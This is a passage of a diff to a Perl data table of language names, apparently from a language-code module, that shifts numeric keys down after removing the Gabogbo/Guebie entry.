       q(Guadeloupean Creole French),
       ],
-   q(2446) => [
+   q(2445) => [
       q(Grenadian Creole English),
       ],
-   q(2447) => [
+   q(2446) => [
       q(Gaina),
       ],
-   q(2448) => [
+   q(2447) => [
       q(Guianese Creole French),
       ],
-   q(2449) => [
+   q(2448) => [
       q(Colonia Tovar German),
       ],
-   q(2450) => [
+   q(2449) => [
       q(Gade Lohar),
       ],
-   q(2451) => [
+   q(2450) => [
       q(Pottangi Ollar Gadaba),
       ],
-   q(2452) => [
+   q(2451) => [
       q(Gugu Badhun),
       ],
-   q(2453) => [
+   q(2452) => [
       q(Gedaged),
       ],
-   q(2454) => [
+   q(2453) => [
       q(Gude),
       ],
-   q(2455) => [
+   q(2454) => [
       q(Guduf-Gava),
       ],
-   q(2456) => [
+   q(2455) => [
       q(Ga'dang),
       ],
-   q(2457) => [
+   q(2456) => [
       q(Gadjerawang),
       ],
-   q(2458) => [
+   q(2457) => [
       q(Gundi),
       ],
-   q(2459) => [
+   q(2458) => [
       q(Gurdjar),
       ],
-   q(2460) => [
+   q(2459) => [
       q(Gadang),
       ],
-   q(2461) => [
+   q(2460) => [
       q(Dirasha),
       ],
-   q(2462) => [
+   q(2461) => [
       q(Laal),
       ],
-   q(2463) => [
+   q(2462) => [
       q(Umanakaina),
       ],
-   q(2464) => [
+   q(2463) => [
       q(Ghodoberi),
       ],
-   q(2465) => [
+   q(2464) => [
       q(Mehri),
       ],
-   q(2466) => [
+   q(2465) => [
       q(Wipi),
       ],
-   q(2467) => [
+   q(2466) => [
       q(Ghandruk Sign Language),
       ],
-   q(2468) => [
+   q(2467) => [
       q(Kungardutyi),
       ],
-   q(2469) => [
+   q(2468) => [
       q(Gudu),
       ],
-   q(2470) => [
+   q(2469) => [
       q(Godwari),
       ],
-   q(2471) => [
+   q(2470) => [
       q(Geruma),
       ],
-   q(2472) => [
+   q(2471) => [
       q(Kire),
       ],
-   q(2473) => [
+   q(2472) => [
       q(Gboloo Grebo),
       ],
-   q(2474) => [
+   q(2473) => [
       q(Gade),
       ],
-   q(2475) => [
+   q(2474) => [
       q(Gengle),
       ],
-   q(2476) => [
+   q(2475) => [
       q(Hutterite German),
       q(Hutterisch),
       ],
-   q(2477) => [
+   q(2476) => [
       q(Gebe),
       ],
-   q(2478) => [
+   q(2477) => [
       q(Gen),
       ],
-   q(2479) => [
+   q(2478) => [
       q(Ywom),
       ],
-   q(2480) => [
+   q(2479) => [
       q(ut-Ma'in),
       ],
-   q(2481) => [
+   q(2480) => [
       q(Geme),
       ],
-   q(2482) => [
+   q(2481) => [
       q(Geser-Gorom),
       ],
-   q(2483) => [
+   q(2482) => [
       q(Eviya),
       ],
-   q(2484) => [
+   q(2483) => [
       q(Gera),
       ],
-   q(2485) => [
+   q(2484) => [
       q(Garre),
       ],
-   q(2486) => [
+   q(2485) => [
       q(Enya),
       ],
-   q(2487) => [
+   q(2486) => [
       q(Patpatar),
       ],
-   q(2488) => [
+   q(2487) => [
       q(Gafat),
       ],
-   q(2489) => [
+   q(2488) => [
       q(Gao),
       ],
-   q(2490) => [
+   q(2489) => [
       q(Gbii),
       ],
-   q(2491) => [
+   q(2490) => [
       q(Gugadj),
       ],
-   q(2492) => [
+   q(2491) => [
       q(Guragone),
       ],
-   q(2493) => [
+   q(2492) => [
       q(Gurgula),
       ],
-   q(2494) => [
+   q(2493) => [
       q(Kungarakany),
       ],
-   q(2495) => [
+   q(2494) => [
       q(Ganglau),
       ],
-   q(2496) => [
+   q(2495) => [
       q(Gitua),
       ],
-   q(2497) => [
+   q(2496) => [
       q(Gagu),
       q(Gban),
       ],
-   q(2498) => [
+   q(2497) => [
       q(Gogodala),
       ],
-   q(2499) => [
+   q(2498) => [
       q(Ghadames),
       ],
-   q(2500) => [
+   q(2499) => [
       q(Hiberno-Scottish Gaelic),
       ],
-   q(2501) => [
+   q(2500) => [
       q(Southern Ghale),
       ],
-   q(2502) => [
+   q(2501) => [
       q(Northern Ghale),
       ],
-   q(2503) => [
+   q(2502) => [
       q(Geko Karen),
       ],
-   q(2504) => [
+   q(2503) => [
       q(Ghulfan),
       ],
-   q(2505) => [
+   q(2504) => [
       q(Ghanongga),
       ],
-   q(2506) => [
+   q(2505) => [
       q(Ghomara),
       ],
-   q(2507) => [
+   q(2506) => [
       q(Ghera),
       ],
-   q(2508) => [
+   q(2507) => [
       q(Guhu-Samane),
       ],
-   q(2509) => [
+   q(2508) => [
       q(Kuke),
       q(Kutang Ghale),
       ],
-   q(2510) => [
+   q(2509) => [
       q(Kitja),
       ],
-   q(2511) => [
+   q(2510) => [
       q(Gibanawa),
       ],
-   q(2512) => [
+   q(2511) => [
       q(Gail),
       ],
-   q(2513) => [
+   q(2512) => [
       q(Gidar),
       ],
-   q(2514) => [
-      q(Gabogbo),
-      q(Guebie),
-      ],
-   q(2515) => [
+   q(2513) => [
       q(Goaria),
       ],
-   q(2516) => [
+   q(2514) => [
       q(Githabul),
       ],
-   q(2517) => [
+   q(2515) => [
       q(Gimi (Eastern Highlands)),
       ],
-   q(2518) => [
+   q(2516) => [
       q(Hinukh),
       ],
-   q(2519) => [
+   q(2517) => [
       q(Gimi (West New Britain)),
       ],
-   q(2520) => [
+   q(2518) => [
       q(Green Gelao),
       ],
-   q(2521) => [
+   q(2519) => [
       q(Red Gelao),
       ],
-   q(2522) => [
+   q(2520) => [
       q(North Giziga),
       ],
-   q(2523) => [
+   q(2521) => [
       q(Gitxsan),
       ],
-   q(2524) => [
+   q(2522) => [
       q(Mulao),
       ],
-   q(2525) => [
+   q(2523) => [
       q(White Gelao),
       ],
-   q(2526) => [
+   q(2524) => [
       q(Gilima),
       ],
-   q(2527) => [
+   q(2525) => [
       q(Giyug),
       ],
-   q(2528) => [
+   q(2526) => [
       q(South Giziga),
       ],
-   q(2529) => [
+   q(2527) => [
       q(Geji),
       ],
-   q(2530) => [
+   q(2528) => [
       q(Kachi Koli),
       ],
-   q(2531) => [
+   q(2529) => [
       q(Gunditjmara),
       ],
-   q(2532) => [
+   q(2530) => [
       q(Gonja),
       ],
-   q(2533) => [
+   q(2531) => [
       q(Gurindji Kriol),
       ],
-   q(2534) => [
+   q(2532) => [
       q(Gujari),
       ],
-   q(2535) => [
+   q(2533) => [
       q(Guya),
       ],
-   q(2536) => [
+   q(2534) => [
       q(Ndai),
       ],
-   q(2537) => [
+   q(2535) => [
       q(Gokana),
       ],
-   q(2538) => [
+   q(2536) => [
       q(Kok-Nar),
       ],
-   q(2539) => [
+   q(2537) => [
       q(Guinea Kpelle),
       ],
-   q(2540) => [
+   q(2538) => [
       q(Ungkue),
       q(=/Ungkue),
       ],
-   q(2541) => [
+   q(2539) => [
       q(Bon Gula),
       ],
-   q(2542) => [
+   q(2540) => [
       q(Nanai),
       ],
-   q(2543) => [
+   q(2541) => [
       q(Northwest Pashai),
       q(Northwest Pashayi),
       ],
-   q(2544) => [
+   q(2542) => [
       q(Guliguli),
       ],
-   q(2545) => [
+   q(2543) => [
       q(Gula Iro),
       ],
-   q(2546) => [
+   q(2544) => [
       q(Gilaki),
       ],
-   q(2547) => [
+   q(2545) => [
       q(Garlali),
       ],
-   q(2548) => [
+   q(2546) => [
       q(Galambu),
       ],
-   q(2549) => [
+   q(2547) => [
       q(Glaro-Twabo),
       ],
-   q(2550) => [
+   q(2548) => [
       q(Gula (Chad)),
       ],
-   q(2551) => [
+   q(2549) => [
       q(Glavda),
       ],
-   q(2552) => [
+   q(2550) => [
       q(Gule),
       ],
-   q(2553) => [
+   q(2551) => [
       q(Gambera),
       ],
-   q(2554) => [
+   q(2552) => [
       q(Gula'alaa),
       ],
-   q(2555) => [
+   q(2553) => [
       q(Maghdi),
       ],
-   q(2556) => [
+   q(2554) => [
       q(Magyi),
       ],
-   q(2557) => [
+   q(2555) => [
       q(Middle Low German),
       ],
-   q(2558) => [
+   q(2556) => [
       q(Gbaya-Mbodomo),
       ],
-   q(2559) => [
+   q(2557) => [
       q(Gimnime),
       ],
-   q(2560) => [
+   q(2558) => [
       q(Gumalu),
       ],
-   q(2561) => [
+   q(2559) => [
       q(Gamo),
       ],
-   q(2562) => [
+   q(2560) => [
       q(Magoma),
       ],
-   q(2563) => [
+   q(2561) => [
       q(Mycenaean Greek),
       ],
-   q(2564) => [
+   q(2562) => [
       q(Mgbolizhia),
       ],
-   q(2565) => [
+   q(2563) => [
       q(Kaansa),
       ],
-   q(2566) => [
+   q(2564) => [
       q(Gangte),
       ],
-   q(2567) => [
+   q(2565) => [
       q(Guanche),
       ],
-   q(2568) => [
+   q(2566) => [
       q(Zulgo-Gemzek),
       ],
-   q(2569) => [
+   q(2567) => [
       q(Ganang),
       ],
-   q(2570) => [
+   q(2568) => [
       q(Ngangam),
       ],
-   q(2571) => [
+   q(2569) => [
       q(Lere),
       ],
-   q(2572) => [
+   q(2570) => [
       q(Gooniyandi),
       ],
-   q(2573) => [
+   q(2571) => [
       q(//Gana),
       q(Gana),
       ],
-   q(2574) => [
+   q(2572) => [
       q(Gangulu),
       ],
-   q(2575) => [
+   q(2573) => [
       q(Ginuman),
       ],
-   q(2576) => [
+   q(2574) => [
       q(Gumatj),
       ],
-   q(2577) => [
+   q(2575) => [
       q(Northern Gondi),
       ],
-   q(2578) => [
+   q(2576) => [
       q(Gureng Gureng),
       ],
-   q(2579) => [
+   q(2577) => [
       q(Guntai),
       ],
-   q(2580) => [
+   q(2578) => [
       q(Gnau),
       ],
-   q(2581) => [
+   q(2579) => [
       q(Western Bolivian Guarani),
       ],
-   q(2582) => [
+   q(2580) => [
       q(Ganzi),
       ],
-   q(2583) => [
+   q(2581) => [
       q(Guro),
       ],
-   q(2584) => [
+   q(2582) => [
       q(Playero),
       ],
-   q(2585) => [
+   q(2583) => [
       q(Gorakor),
       ],
-   q(2586) => [
+   q(2584) => [
       q(Godie),
       ],
-   q(2587) => [
+   q(2585) => [
       q(Gongduk),
       ],
-   q(2588) => [
+   q(2586) => [
       q(Gofa),
       ],
-   q(2589) => [
+   q(2587) => [
       q(Gogo),
       ],
-   q(2590) => [
+   q(2588) => [
       q(Gobasi),
       ],
-   q(2591) => [
+   q(2589) => [
       q(Gowlan),
       ],
-   q(2592) => [
+   q(2590) => [
       q(Gowli),
       ],
-   q(2593) => [
+   q(2591) => [
       q(Gola),
       ],
-   q(2594) => [
+   q(2592) => [
       q(Goan Konkani),
       ],
-   q(2595) => [
+   q(2593) => [
       q(Gone Dau),
       ],
-   q(2596) => [
+   q(2594) => [
       q(Yeretuar),
       ],
-   q(2597) => [
+   q(2595) => [
       q(Gorap),
       ],
-   q(2598) => [
+   q(2596) => [
       q(Gronings),
       ],
-   q(2599) => [
+   q(2597) => [
       q(Gavar),
       ],
-   q(2600) => [
+   q(2598) => [
       q(Gorowa),
       ],
-   q(2601) => [
+   q(2599) => [
       q(Gobu),
       ],
-   q(2602) => [
+   q(2600) => [
       q(Goundo),
       ],
-   q(2603) => [
+   q(2601) => [
       q(Gozarkhani),
       ],
-   q(2604) => [
+   q(2602) => [
       q(Gupa-Abawa),
       ],
-   q(2605) => [
+   q(2603) => [
       q(Ghanaian Pidgin English),
       ],
-   q(2606) => [
+   q(2604) => [
       q(Taiap),
       ],
-   q(2607) => [
+   q(2605) => [
       q(Ga'anda),
       ],
-   q(2608) => [
+   q(2606) => [
       q(Guiqiong),
       ],
-   q(2609) => [
+   q(2607) => [
       q(Guana (Brazil)),
       ],
-   q(2610) => [
+   q(2608) => [
       q(Gor),
       ],
-   q(2611) => [
+   q(2609) => [
       q(Qau),
       ],
-   q(2612) => [
+   q(2610) => [
       q(Rajput Garasia),
       ],
-   q(2613) => [
+   q(2611) => [
       q(Guruntum-Mbaaru),
       ],
-   q(2614) => [
+   q(2612) => [
       q(Madi),
       ],
-   q(2615) => [
+   q(2613) => [
       q(Gbiri-Niragu),
       ],
-   q(2616) => [
+   q(2614) => [
       q(Ghari),
       ],
-   q(2617) => [
+   q(2615) => [
       q(Southern Grebo),
       ],
-   q(2618) => [
+   q(2616) => [
       q(Kota Marudu Talantang),
       ],
-   q(2619) => [
+   q(2617) => [
       q(Groma),
       ],
-   q(2620) => [
+   q(2618) => [
       q(Gorovu),
       ],
-   q(2621) => [
+   q(2619) => [
       q(Taznatit),
       ],
-   q(2622) => [
+   q(2620) => [
       q(Gresi),
       ],
-   q(2623) => [
+   q(2621) => [
       q(Garo),
       ],
-   q(2624) => [
+   q(2622) => [
       q(Kistane),
       ],
-   q(2625) => [
+   q(2623) => [
       q(Central Grebo),
       ],
-   q(2626) => [
+   q(2624) => [
       q(Gweda),
       ],
-   q(2627) => [
+   q(2625) => [
       q(Guriaso),
       ],
-   q(2628) => [
+   q(2626) => [
       q(Barclayville Grebo),
       ],
-   q(2629) => [
+   q(2627) => [
       q(Guramalum),
       ],
-   q(2630) => [
+   q(2628) => [
       q(Ghanaian Sign Language),
       ],
-   q(2631) => [
+   q(2629) => [
       q(German Sign Language),
       ],
-   q(2632) => [
+   q(2630) => [
       q(Gusilay),
       ],
-   q(2633) => [
+   q(2631) => [
       q(Guatemalan Sign Language),
       ],
-   q(2634) => [
+   q(2632) => [
       q(Nema),
       q(Gusan),
       ],
-   q(2635) => [
+   q(2633) => [
       q(Southwest Gbaya),
       ],
-   q(2636) => [
+   q(2634) => [
       q(Wasembo),
       ],
-   q(2637) => [
+   q(2635) => [
       q(Greek Sign Language),
       ],
-   q(2638) => [
+   q(2636) => [
       q(Guato),
       ],
-   q(2639) => [
+   q(2637) => [
       q(Aghu-Tharnggala),
       ],
-   q(2640) => [
+   q(2638) => [
       q(Shiki),
       ],
-   q(2641) => [
+   q(2639) => [
       q(Guajajara),
       ],
-   q(2642) => [
+   q(2640) => [
       q(Wayuu),
       ],
-   q(2643) => [
+   q(2641) => [
       q(Yocoboue Dida),
       ],
-   q(2644) => [
+   q(2642) => [
       q(Gurinji),
       ],
-   q(2645) => [
+   q(2643) => [
       q(Gupapuyngu),
       ],
-   q(2646) => [
+   q(2644) => [
       q(Paraguayan Guarani),
       ],
-   q(2647) => [
+   q(2645) => [
       q(Guahibo),
       ],
-   q(2648) => [
+   q(2646) => [
       q(Eastern Bolivian Guarani),
       ],
-   q(2649) => [
+   q(2647) => [
       q(Gumuz),
       ],
-   q(2650) => [
+   q(2648) => [
       q(Sea Island Creole English),
       ],
-   q(2651) => [
+   q(2649) => [
       q(Guambiano),
       ],
-   q(2652) => [
+   q(2650) => [
       q(Mbya Guarani),
       ],
-   q(2653) => [
+   q(2651) => [
       q(Guayabero),
       ],
-   q(2654) => [
+   q(2652) => [
       q(Gunwinggu),
       ],
-   q(2655) => [
+   q(2653) => [
       q(Ache),
       ],
-   q(2656) => [
+   q(2654) => [
       q(Farefare),
       ],
-   q(2657) => [
+   q(2655) => [
       q(Guinean Sign Language),
       ],
-   q(2658) => [
+   q(2656) => [
       q(Maleku Jaika),
       ],
-   q(2659) => [
+   q(2657) => [
       q(Yanomamo),
       ],
-   q(2660) => [
+   q(2658) => [
       q(Gun),
       ],
-   q(2661) => [
+   q(2659) => [
       q(Gourmanchema),
       ],
-   q(2662) => [
+   q(2660) => [
       q(Gusii),
       q(Ekegusii),
       ],
-   q(2663) => [
+   q(2661) => [
       q(Guana (Paraguay)),
       ],
-   q(2664) => [
+   q(2662) => [
       q(Guanano),
       ],
-   q(2665) => [
+   q(2663) => [
       q(Duwet),
       ],
-   q(2666) => [
+   q(2664) => [
       q(Golin),
       ],
-   q(2667) => [
+   q(2665) => [
       q(Guaja),
       ],
-   q(2668) => [
+   q(2666) => [
       q(Gulay),
       ],
-   q(2669) => [
+   q(2667) => [
       q(Gurmana),
       ],
-   q(2670) => [
+   q(2668) => [
       q(Kuku-Yalanji),
       ],
-   q(2671) => [
+   q(2669) => [
       q(Gaviao Do Jiparana),
       ],
-   q(2672) => [
+   q(2670) => [
       q(Para Gaviao),
       ],
-   q(2673) => [
+   q(2671) => [
       q(Gurung),
       ],
-   q(2674) => [
+   q(2672) => [
       q(Gumawana),
       ],
-   q(2675) => [
+   q(2673) => [
       q(Guyani),
       ],
-   q(2676) => [
+   q(2674) => [
       q(Mbato),
       ],
-   q(2677) => [
+   q(2675) => [
       q(Gwa),
       ],
-   q(2678) => [
+   q(2676) => [
       q(Kalami),
       ],
-   q(2679) => [
+   q(2677) => [
       q(Gawwada),
       ],
-   q(2680) => [
+   q(2678) => [
       q(Gweno),
       ],
-   q(2681) => [
+   q(2679) => [
       q(Gowro),
       ],
-   q(2682) => [
+   q(2680) => [
       q(Moo),
       ],
-   q(2683) => [
+   q(2681) => [
       q(/Gwi),
       q(Gwi),
       ],
-   q(2684) => [
+   q(2682) => [
       q(Awngthim),
       ],
-   q(2685) => [
+   q(2683) => [
       q(Gwandara),
       ],
-   q(2686) => [
+   q(2684) => [
       q(Gwere),
       ],
-   q(2687) => [
+   q(2685) => [
       q(Gawar-Bati),
       ],
-   q(2688) => [
+   q(2686) => [
       q(Guwamu),
       ],
-   q(2689) => [
+   q(2687) => [
       q(Kwini),
       ],
-   q(2690) => [
+   q(2688) => [
       q(Gua),
       ],
-   q(2691) => [
+   q(2689) => [
       q(We Southern),
       ],
-   q(2692) => [
+   q(2690) => [
       q(Northwest Gbaya),
       ],
-   q(2693) => [
+   q(2691) => [
       q(Garus),
       ],
-   q(2694) => [
+   q(2692) => [
       q(Kayardild),
       ],
-   q(2695) => [
+   q(2693) => [
       q(Gyem),
       ],
-   q(2696) => [
+   q(2694) => [
       q(Gungabula),
       ],
-   q(2697) => [
+   q(2695) => [
       q(Gbayi),
       ],
-   q(2698) => [
+   q(2696) => [
       q(Gyele),
       ],
-   q(2699) => [
+   q(2697) => [
       q(Gayil),
       ],
-   q(2700) => [
+   q(2698) => [
       q(Ngabere),
       ],
-   q(2701) => [
+   q(2699) => [
       q(Guyanese Creole English),
       ],
-   q(2702) => [
+   q(2700) => [
       q(Guarayu),
       ],
-   q(2703) => [
+   q(2701) => [
       q(Gunya),
       ],
-   q(2704) => [
+   q(2702) => [
       q(Ganza),
       ],
-   q(2705) => [
+   q(2703) => [
       q(Gazi),
       ],
-   q(2706) => [
+   q(2704) => [
       q(Gane),
       ],
-   q(2707) => [
+   q(2705) => [
       q(Han),
       ],
-   q(2708) => [
+   q(2706) => [
       q(Hanoi Sign Language),
       ],
-   q(2709) => [
+   q(2707) => [
       q(Gurani),
       ],
-   q(2710) => [
+   q(2708) => [
       q(Hatam),
       ],
-   q(2711) => [
+   q(2709) => [
       q(Eastern Oromo),
       ],
-   q(2712) => [
+   q(2710) => [
       q(Haiphong Sign Language),
       ],
-   q(2713) => [
+   q(2711) => [
       q(Hanga),
       ],
-   q(2714) => [
+   q(2712) => [
       q(Hahon),
       ],
-   q(2715) => [
+   q(2713) => [
       q(Hajong),
       ],
-   q(2716) => [
+   q(2714) => [
       q(Hakka Chinese),
       ],
-   q(2717) => [
+   q(2715) => [
       q(Halang),
       ],
-   q(2718) => [
+   q(2716) => [
       q(Hewa),
       ],
-   q(2719) => [
+   q(2717) => [
       q(Hangaza),
       ],
-   q(2720) => [
+   q(2718) => [
       q(Hako),
       ],
-   q(2721) => [
+   q(2719) => [
       q(Hupla),
       ],
-   q(2722) => [
+   q(2720) => [
       q(Ha),
       ],
-   q(2723) => [
+   q(2721) => [
       q(Harari),
       ],
-   q(2724) => [
+   q(2722) => [
       q(Haisla),
       ],
-   q(2725) => [
+   q(2723) => [
       q(Havu),
       ],
-   q(2726) => [
+   q(2724) => [
       q(Southern Haida),
       ],
-   q(2727) => [
+   q(2725) => [
       q(Haya),
       ],
-   q(2728) => [
+   q(2726) => [
       q(Hazaragi),
       ],
-   q(2729) => [
+   q(2727) => [
       q(Hamba),
       ],
-   q(2730) => [
+   q(2728) => [
       q(Huba),
       ],
-   q(2731) => [
+   q(2729) => [
       q(Heiban),
       ],
-   q(2732) => [
+   q(2730) => [
       q(Ancient Hebrew),
       ],
-   q(2733) => [
+   q(2731) => [
       q(Habu),
       ],
-   q(2734) => [
+   q(2732) => [
       q(Andaman Creole Hindi),
       ],
-   q(2735) => [
+   q(2733) => [
       q(Huichol),
       ],
-   q(2736) => [
+   q(2734) => [
       q(Northern Haida),
       ],
-   q(2737) => [
+   q(2735) => [
       q(Honduras Sign Language),
       ],
-   q(2738) => [
+   q(2736) => [
       q(Hadiyya),
       ],
-   q(2739) => [
+   q(2737) => [
       q(Northern Qiandong Miao),
       ],
-   q(2740) => [
+   q(2738) => [
       q(Herde),
       ],
-   q(2741) => [
+   q(2739) => [
       q(Helong),
       ],
-   q(2742) => [
+   q(2740) => [
       q(Hehe),
       ],
-   q(2743) => [
+   q(2741) => [
       q(Heiltsuk),
       ],
-   q(2744) => [
+   q(2742) => [
       q(Hemba),
       ],
-   q(2745) => [
+   q(2743) => [
       q(Hai//om),
       q(Haiom),
       ],
-   q(2746) => [
+   q(2744) => [
       q(Haigwai),
       ],
-   q(2747) => [
+   q(2745) => [
       q(Hoia Hoia),
       ],
-   q(2748) => [
+   q(2746) => [
       q(Kerak),
       ],
-   q(2749) => [
+   q(2747) => [
       q(Hoyahoya),
       ],
-   q(2750) => [
+   q(2748) => [
       q(Lamang),
       ],
-   q(2751) => [
+   q(2749) => [
       q(Hibito),
       ],
-   q(2752) => [
+   q(2750) => [
       q(Hidatsa),
       ],
-   q(2753) => [
+   q(2751) => [
       q(Fiji Hindi),
       ],
-   q(2754) => [
+   q(2752) => [
       q(Kamwe),
       ],
-   q(2755) => [
+   q(2753) => [
       q(Pamosu),
       ],
-   q(2756) => [
+   q(2754) => [
       q(Hinduri),
       ],
-   q(2757) => [
+   q(2755) => [
       q(Hijuk),
       ],
-   q(2758) => [
+   q(2756) => [
       q(Seit-Kaitetu),
       ],
-   q(2759) => [
+   q(2757) => [
       q(Tsoa),
       ],
-   q(2760) => [
+   q(2758) => [
       q(Himarima),
       ],
-   q(2761) => [
+   q(2759) => [
       q(Hiw),
       ],
-   q(2762) => [
+   q(2760) => [
       q(Hixkaryana),
       ],
-   q(2763) => [
+   q(2761) => [
       q(Haji),
       ],
-   q(2764) => [
+   q(2762) => [
       q(Kahe),
       ],
-   q(2765) => [
+   q(2763) => [
       q(Hunde),
       ],
-   q(2766) => [
+   q(2764) => [
       q(Hunjara-Kaina Ke),
       ],
-   q(2767) => [
+   q(2765) => [
       q(Hong Kong Sign Language),
       q(Heung Kong Sau Yue),
       ],
-   q(2768) => [
+   q(2766) => [
       q(Halia),
       ],
-   q(2769) => [
+   q(2767) => [
       q(Halbi),
       ],
-   q(2770) => [
+   q(2768) => [
       q(Halang Doan),
       ],
-   q(2771) => [
+   q(2769) => [
       q(Hlersu),
       ],
-   q(2772) => [
+   q(2770) => [
       q(Matu Chin),
       ],
-   q(2773) => [
+   q(2771) => [
       q(Hieroglyphic Luwian),
       ],
-   q(2774) => [
+   q(2772) => [
       q(Southern Mashan Hmong),
       q(Southern Mashan Miao),
       ],
-   q(2775) => [
+   q(2773) => [
       q(Humburi Senni Songhay),
       ],
-   q(2776) => [
+   q(2774) => [
       q(Central Huishui Hmong),
       q(Central Huishui Miao),
       ],
-   q(2777) => [
+   q(2775) => [
       q(Large Flowery Miao),
       q(A-hmaos),
       q(Da-Hua Miao),
       ],
-   q(2778) => [
+   q(2776) => [
       q(Eastern Huishui Hmong),
       q(Eastern Huishui Miao),
       ],
-   q(2779) => [
+   q(2777) => [
       q(Hmong Don),
       ],
-   q(2780) => [
+   q(2778) => [
       q(Southwestern Guiyang Hmong),
       ],
-   q(2781) => [
+   q(2779) => [
       q(Southwestern Huishui Hmong),
       q(Southwestern Huishui Miao),
       ],
-   q(2782) => [
+   q(2780) => [
       q(Northern Huishui Hmong),
       q(Northern Huishui Miao),
       ],
-   q(2783) => [
+   q(2781) => [
       q(Ge),
       q(Gejia),
       ],
-   q(2784) => [
+   q(2782) => [
       q(Maek),
       ],
-   q(2785) => [
+   q(2783) => [
       q(Luopohe Hmong),
       q(Luopohe Miao),
       ],
-   q(2786) => [
+   q(2784) => [
       q(Central Mashan Hmong),
       q(Central Mashan Miao),
       ],
-   q(2787) => [
+   q(2785) => [
       q(Northern Mashan Hmong),
       q(Northern Mashan Miao),
       ],
-   q(2788) => [
+   q(2786) => [
       q(Eastern Qiandong Miao),
       ],
-   q(2789) => [
+   q(2787) => [
       q(Hmar),
       ],
-   q(2790) => [
+   q(2788) => [
       q(Southern Qiandong Miao),
       ],
-   q(2791) => [
+   q(2789) => [
       q(Hamtai),
       ],
-   q(2792) => [
+   q(2790) => [
       q(Hamap),
       ],
-   q(2793) => [
+   q(2791) => [
       q(Hmong Do),
       ],
-   q(2794) => [
+   q(2792) => [
       q(Western Mashan Hmong),
       q(Western Mashan Miao),
       ],
-   q(2795) => [
+   q(2793) => [
       q(Southern Guiyang Hmong),
       q(Southern Guiyang Miao),
       ],
-   q(2796) => [
+   q(2794) => [
       q(Hmong Shua),
       q(Sinicized Miao),
       ],
-   q(2797) => [
+   q(2795) => [
       q(Mina (Cameroon)),
       ],
-   q(2798) => [
+   q(2796) => [
       q(Southern Hindko),
       ],
-   q(2799) => [
+   q(2797) => [
       q(Chhattisgarhi),
       ],
-   q(2800) => [
+   q(2798) => [
       q(//Ani),
       q(Ani),
       ],
-   q(2801) => [
+   q(2799) => [
       q(Hani),
       ],
-   q(2802) => [
+   q(2800) => [
       q(Hmong Njua),
       q(Mong Leng),
       q(Mong Njua),
       ],
-   q(2803) => [
+   q(2801) => [
       q(Hanunoo),
       ],
-   q(2804) => [
+   q(2802) => [
       q(Northern Hindko),
       ],
-   q(2805) => [
+   q(2803) => [
       q(Caribbean Hindustani),
       ],
-   q(2806) => [
+   q(2804) => [
       q(Hung),
       ],
-   q(2807) => [
+   q(2805) => [
       q(Hoava),
       ],
-   q(2808) => [
+   q(2806) => [
       q(Mari (Madang Province)),
       ],
-   q(2809) => [
+   q(2807) => [
       q(Ho),
       ],
-   q(2810) => [
+   q(2808) => [
       q(Holma),
       ],
-   q(2811) => [
+   q(2809) => [
       q(Horom),
       ],
-   q(2812) => [
+   q(2810) => [
       q(Hobyot),
       ],
-   q(2813) => [
+   q(2811) => [
       q(Holikachuk),
       ],
-   q(2814) => [
+   q(2812) => [
       q(Hadothi),
       q(Haroti),
       ],
-   q(2815) => [
+   q(2813) => [
       q(Holu),
       ],
-   q(2816) => [
+   q(2814) => [
       q(Homa),
       ],
-   q(2817) => [
+   q(2815) => [
       q(Holoholo),
       ],
-   q(2818) => [
+   q(2816) => [
       q(Hopi),
       ],
-   q(2819) => [
+   q(2817) => [
       q(Horo),
       ],
-   q(2820) => [
+   q(2818) => [
       q(Ho Chi Minh City Sign Language),
       ],
-   q(2821) => [
+   q(2819) => [
       q(Hote),
       q(Male),
       ],
-   q(2822) => [
+   q(2820) => [
       q(Hovongan),
       ],
-   q(2823) => [
+   q(2821) => [
       q(Honi),
       ],
-   q(2824) => [
+   q(2822) => [
       q(Holiya),
       ],
-   q(2825) => [
+   q(2823) => [
       q(Hozo),
       ],
-   q(2826) => [
+   q(2824) => [
       q(Hpon),
       ],
-   q(2827) => [
+   q(2825) => [
       q(Hawai'i Sign Language (HSL)),
       q(Hawai'i Pidgin Sign Language),
       ],
-   q(2828) => [
+   q(2826) => [
       q(Hrangkhol),
       ],
-   q(2829) => [
+   q(2827) => [
       q(Niwer Mil),
       ],
-   q(2830) => [
+   q(2828) => [
       q(Hre),
       ],
-   q(2831) => [
+   q(2829) => [
       q(Haruku),
       ],
-   q(2832) => [
+   q(2830) => [
       q(Horned Miao),
       ],
-   q(2833) => [
+   q(2831) => [
       q(Haroi),
       ],
-   q(2834) => [
+   q(2832) => [
       q(Nhirrpi),
       ],
-   q(2835) => [
+   q(2833) => [
       q(Hertevin),
       ],
-   q(2836) => [
+   q(2834) => [
       q(Hruso),
       ],
-   q(2837) => [
+   q(2835) => [
       q(Warwar Feni),
       ],
-   q(2838) => [
+   q(2836) => [
       q(Hunsrik),
       ],
-   q(2839) => [
+   q(2837) => [
       q(Harzani),
       ],
-   q(2840) => [
+   q(2838) => [
       q(Hungarian Sign Language),
       ],
-   q(2841) => [
+   q(2839) => [
       q(Hausa Sign Language),
       ],
-   q(2842) => [
+   q(2840) => [
       q(Xiang Chinese),
       ],
-   q(2843) => [
+   q(2841) => [
       q(Harsusi),
       ],
-   q(2844) => [
+   q(2842) => [
       q(Hoti),
       ],
-   q(2845) => [
+   q(2843) => [
       q(Minica Huitoto),
       ],
-   q(2846) => [
+   q(2844) => [
       q(Hadza),
       ],
-   q(2847) => [
+   q(2845) => [
       q(Hitu),
       ],
-   q(2848) => [
+   q(2846) => [
       q(Middle Hittite),
       ],
-   q(2849) => [
+   q(2847) => [
       q(Huambisa),
       ],
-   q(2850) => [
+   q(2848) => [
       q(=/Hua),
       q(Hua),
       ],
-   q(2851) => [
+   q(2849) => [
       q(Huaulu),
       ],
-   q(2852) => [
+   q(2850) => [
       q(San Francisco Del Mar Huave),
       ],
-   q(2853) => [
+   q(2851) => [
       q(Humene),
       ],
-   q(2854) => [
+   q(2852) => [
       q(Huachipaeri),
       ],
-   q(2855) => [
+   q(2853) => [
       q(Huilliche),
       ],
-   q(2856) => [
+   q(2854) => [
       q(Huli),
       ],
-   q(2857) => [
+   q(2855) => [
       q(Northern Guiyang Hmong),
       q(Northern Guiyang Miao),
       ],
-   q(2858) => [
+   q(2856) => [
       q(Hulung),
       ],
-   q(2859) => [
+   q(2857) => [
       q(Hula),
       ],
-   q(2860) => [
+   q(2858) => [
       q(Hungana),
       ],
-   q(2861) => [
+   q(2859) => [
       q(Hu),
       ],
-   q(2862) => [
+   q(2860) => [
       q(Tsat),
       ],
-   q(2863) => [
+   q(2861) => [
       q(Halkomelem),
       ],
-   q(2864) => [
+   q(2862) => [
       q(Huastec),
